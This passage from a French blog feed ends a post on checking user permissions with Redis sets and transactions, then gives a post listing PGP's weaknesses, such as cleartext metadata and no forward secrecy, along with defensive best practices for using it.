- <tt class="docutils literal"><span class="pre">permission:/buckets/blog:write</span></tt>
- <tt class="docutils literal"><span class="pre">permission:/buckets/blog/collections/articles:write</span></tt></li>
<li><tt class="docutils literal">SINTER</tt> retourne l'intersection de tous les sets passés en paramètres dans notre cas :
- <tt class="docutils literal"><span class="pre">temp_perm:/buckets/blog/collections/articles:write</span></tt>
- <tt class="docutils literal">principals:fxa:alexis</tt></li>
</ul>
<p>Plus d'informations sur :
- <a class="reference external" href="http://redis.io/commands/sinter">http://redis.io/commands/sinter</a>
- <a class="reference external" href="http://redis.io/commands/sunionstore">http://redis.io/commands/sunionstore</a></p>
<p>Si le set résultant de la commande <tt class="docutils literal">SINTER</tt> n'est pas vide, alors
l'utilisateur possède la permission.</p>
<p>On peut ensuite supprimer la clé temporaire <tt class="docutils literal">temp_perm</tt>.</p>
<p>En utilisant <tt class="docutils literal">MULTI</tt> on peut <a class="reference external" href="https://gist.github.com/Natim/77c8f61c1d42e476cef8#file-permission-py-L117-L124">même faire tout cela au sein d'une
transaction</a>
et garantir ainsi l'intégrité de la requête.</p>
</div>
</div>
<div class="section" id="conclusion">
<h2>Conclusion</h2>
<p>La solution a l'air simple mais nous a demandé beaucoup de réflexion
en passant par plusieurs propositions.</p>
<p>L'idée finale est d'avoir :</p>
<ul class="simple">
<li>Un backend spécifique permettant de stocker les <em>principals</em> des
utilisateurs et des <em>ACE</em> (e.g. avec les sets Redis) ;</li>
<li>La liste des principals read et write sur la table des objets.</li>
</ul>
<p>C'est dommage d'avoir le concept de permissions à deux endroits, mais
cela permet de connaître rapidement la permission d'un utilisateur sur
un objet et également de pouvoir récupérer tous les objets d'une
collection pour un utilisateur si celui-ci n'a pas accès à tous les
records de la collection, ou toutes les collections du bucket.</p>
</div>
Les problèmes de PGP2015-05-25T00:00:00+02:002015-05-25T00:00:00+02:00tag:blog.notmyidea.org,2015-05-25:/les-problemes-de-pgp.html<blockquote>
<p>Flip a bit in the communication between sender and recipient and they
will experience decryption or verification errors. How high are the
chances they will start to exchange the data in the clear rather than
trying to hunt down the man in the middle?</p>
<p>-- <a href="http://secushare.org/PGP">http://secushare.org/PGP</a></p>
</blockquote>
<p>Une fois …</p><blockquote>
<p>Flip a bit in the communication between sender and recipient and they
will experience decryption or verification errors. How high are the
chances they will start to exchange the data in the clear rather than
trying to hunt down the man in the middle?</p>
<p>-- <a href="http://secushare.org/PGP">http://secushare.org/PGP</a></p>
</blockquote>
<p>Une fois passé l'euphorie du "il faut utiliser PGP pour l'ensemble de
nos communications", j'ai réalisé lors de discussions que PGP avait
plusieurs problèmes, parmi ceux-ci:</p>
<ul>
<li>Les <em>meta données</em> (y compris le champ "sujet" de la conversation)
sont quand même échangées en clair (il est possible de savoir qu'un
message à été échangé entre telle et telle personne, a telle date);</li>
<li>PGP se base sur un protocole de communication qui est lui non
chiffré, et il est donc facile de soit se tromper, soit dégrader le
mode de conversation vers une méthode non chiffrée;</li>
<li>Il est facile de connaître votre réseau social avec PGP, puisque
tout le principe est de signer les clés des personnes dont vous
validez l'identité;</li>
<li>En cas de fuite de votre clé privée, tous les messages que vous avez
chiffrés avec elle sont compromis. On dit que PGP ne fournit pas de
<em>forward secrecy</em>;</li>
<li>La découverte de la clé de pairs se passe souvent <em>en clair</em>, sans
utiliser une connexion "sécurisée" (HTTPS). Tout le monde peut donc
voir ces échanges et savoir de qui vous cherchez la clé;</li>
<li>Les discussions de groupes sont très difficiles: il faut chiffrer
pour chacun des destinataires (ou que ceux-ci partagent une paire de
clés).</li>
</ul>
<p>Je suis en train de creuser à propos les alternatives à PGP, par exemple
<a href="https://pond.imperialviolet.org/">Pond</a>, qui lui ne construit pas par
dessus un standard déjà établi, et donc n'hérite pas de ses défauts
(mais pas non plus de son réseau déjà établi).</p>
<p>En attendant, quelques bonnes pratiques sur PGP ;)</p>
<h2>Bonnes pratiques</h2>
<p>Il est en fait assez facile d'utiliser PGP de travers. Riseup à fait <a href="https://help.riseup.net/en/security/message-security/openpgp/best-practices">un
excellent
guide</a>
qui explique comment configurer son installation correctement.</p>
<ul>
<li>J'en ai déjà parlé, mais il faut absolument choisir des phrases de
passes suffisamment longues. Pas facile de les retenir, mais
indispensable. Vous pouvez aussi avoir un document chiffré avec une
clé que vous ne mettez jamais en ligne, qui contiens ces phrases de
passe, au cas ou vous les oubliez.</li>
<li>Générez des clés RSA de 4096 bits, en utilisant sha512;</li>
<li>Il faut utiliser une date d'expiration de nos clés suffisamment
proche (2 ans). Il est possible de repousser cette date si
nécessaire, par la suite.</li>
</ul>
<p>Parmi les choses les plus frappantes que j'ai rencontrées:</p>
<ul>
<li>Utiliser le <em>flag</em> –hidden-recipient avec PGP pour ne pas dévoiler
qui est le destinataire du message;</li>
<li>Ne pas envoyer les messages de brouillons sur votre serveur, ils le
seraient en clair !;</li>
<li>Utilisez HPKS pour communiquer avec les serveurs de clés, sinon tout
le trafic est en clair.</li>
</ul>
<p>Le <a href="https://bitmask.net/">projet Bitmask</a> vise lui à rendre les outils
de chiffrement d'échanges de messages et de VPN simples à utiliser,
encore quelque chose à regarder.</p>
<p>Enfin bref, y'a du taf.</p>